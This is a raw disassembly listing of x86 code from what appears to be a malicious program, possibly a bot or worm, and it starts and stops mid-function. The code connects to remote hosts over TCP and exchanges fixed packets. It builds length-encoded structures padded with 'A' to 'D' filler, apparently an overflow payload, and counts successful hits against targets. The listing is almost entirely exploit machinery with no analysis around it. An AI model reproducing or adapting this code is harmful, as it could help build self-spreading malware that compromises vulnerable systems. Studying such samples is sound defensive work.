		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB


loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------


loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------


loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		call	near ptr 260086Bh
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_41544E
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797


loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------


loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------


loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1


loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5


loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1


loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43F700
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax


loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx


loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF


loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------


loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------


loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43C824
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------


loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1


loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35


loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------


loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61


loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------


loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43F680


loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43F664
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43F6B8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_43C81C
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B


loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------


loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1


loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl


loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3


loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

